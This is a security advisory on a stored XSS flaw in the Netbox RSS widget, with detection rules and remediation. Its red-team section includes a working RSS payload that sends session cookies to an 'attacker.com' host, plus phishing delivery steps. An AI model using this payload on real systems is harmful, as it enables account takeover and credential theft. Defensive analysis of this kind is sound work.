CVE-2024-56915

Executive Summary

CVE-2024-56915 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Netbox Community edition, affecting versions v4.1.7 and fixed in v4.2.2. The flaw resides in the RSS feed widget, which improperly sanitizes user-supplied or externally-fetched content before rendering it in a user's browser. An attacker can inject arbitrary JavaScript into the RSS feed data, which will execute when an administrator or user views the dashboard containing the widget. This can lead to session hijacking, credential theft, or internal network reconnaissance.

Supply Chain & Package Security

Netbox is a Python/Django-based application distributed via GitHub and PyPI (netbox). The vulnerability is introduced through the application's own code, not a third-party dependency. However, organizations using containerized deployments (Docker) or automated CI/CD pipelines should verify they are pulling the patched image (netboxcommunity/netbox:v4.2.2 or later). No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD has not assigned a score; based on analysis, estimated score is 6.1 (Medium))

Vector (Estimated): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium. Exploitation requires user interaction but can lead to account takeover if an admin is targeted.

Deep Dive & Mechanics

The Netbox RSS feed widget is designed to display external RSS/Atom feeds on the dashboard. The vulnerability arises because the widget does not properly escape or sanitize the <description> or <content:encoded> fields of the RSS items before rendering them as HTML.

Attack Flow:

1. An attacker hosts a malicious RSS feed (e.g., on a server they control) or compromises an existing feed.
2. The attacker crafts an RSS item with a <description> containing a JavaScript payload, such as:

   <item>
     <title>Security Alert</title>
     <description><![CDATA[<img src=x onerror=alert(document.cookie)>]]></description>
   </item>
   

3. The attacker convinces a Netbox administrator to add this malicious feed URL to their dashboard RSS widget.
4. When the administrator views the dashboard, the widget fetches and renders the feed. The browser executes the injected JavaScript.
5. The payload can steal session cookies, perform actions via the Netbox API, or redirect to a phishing page.

Root Cause: The widget uses Django's safe filter or mark_safe() without prior sanitization, or it directly injects the feed content into the template without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (v4.1.7):

# In the RSS widget view or template
from django.utils.safestring import mark_safe

def render_feed(feed_data):
    # Directly marking feed description as safe
    return mark_safe(feed_data['description'])

Patched Code (v4.2.2):

# In the RSS widget view or template
from django.utils.html import escape

def render_feed(feed_data):
    # Escaping the description before rendering
    return escape(feed_data['description'])

The patch replaces mark_safe() with escape(), ensuring that any HTML/JavaScript in the feed content is rendered as text, not executed.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A publicly accessible server to host the malicious RSS feed.
• Knowledge of a Netbox instance running v4.1.7.

Step-by-Step Exploitation:

1. Create Malicious RSS Feed:

   <?xml version="1.0" encoding="UTF-8" ?>
   <rss version="2.0">
     <channel>
       <title>Malicious Feed</title>
       <item>
         <title>Critical Update</title>
         <description><![CDATA[<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>]]></description>
       </item>
     </channel>
   </rss>
   

2. Host the Feed:

   # Using Python's simple HTTP server
   python3 -m http.server 8080
   # Or use a public service like requestbin
   

3. Deliver the Feed URL:

   • Send the feed URL (e.g., http://attacker.com:8080/malicious.xml) to the Netbox admin via phishing email or social engineering.

4. Trigger Execution:

   • The admin adds the feed URL to their dashboard RSS widget.
   • Upon viewing the dashboard, the script executes and sends the cookie to the attacker's server.

Exploit-DB Code: None available.

Blue Team (Defender)

Detection Steps:

1. Monitor RSS Feed URLs: Review all configured RSS feed URLs in Netbox for suspicious or unknown domains.
2. Check Logs: Look for unusual outbound connections from the Netbox server to external IPs on port 80/443.
3. Inspect Dashboard Content: Manually review the RSS widget output for unexpected script tags or iframes.

Hunting Query (Splunk):

index=netbox sourcetype=access_log
| search uri=*rss* OR uri=*feed*
| table _time, client_ip, uri, status

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_56915_Netbox_RSS_XSS {
    meta:
        description = "Detects malicious RSS feed files targeting Netbox XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56915"
    strings:
        $xml_header = "<?xml"
        $rss_tag = "<rss"
        $script_payload = /<script>.*<\/script>/ nocase
        $onerror_payload = /onerror\s*=\s*["']?[^"']*["']?/ nocase
    condition:
        $xml_header and $rss_tag and ($script_payload or $onerror_payload)
}

Sigma Rule

title: Netbox RSS Widget XSS Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS via RSS feed widget in Netbox
author: Valters IT
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        c-uri|contains: 
            - '/api/extras/rss-feeds/'
            - '/dashboard/'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate RSS feeds with HTML content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56915 Netbox RSS XSS Payload Detected"; flow:to_server,established; content:"GET"; http_method; content:"/api/extras/rss-feeds/"; http_uri; pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Netbox: Update to version 4.2.2 or later.

   # If using Docker
   docker pull netboxcommunity/netbox:v4.2.2
   docker-compose up -d
   

2. Restrict RSS Feed Sources: Only allow trusted, internal RSS feeds. Disable the widget if not needed.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> or onerror in RSS feed URLs.

Long-Term Hardening:

• Implement Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular code reviews for XSS patterns.
• Use Django's escape filter by default for all user-generated content.

Patch Details: The fix is included in Netbox v4.2.2. No official patch was released for v4.1.x; upgrade is required.

Valters IT
Securing Digital Frontiers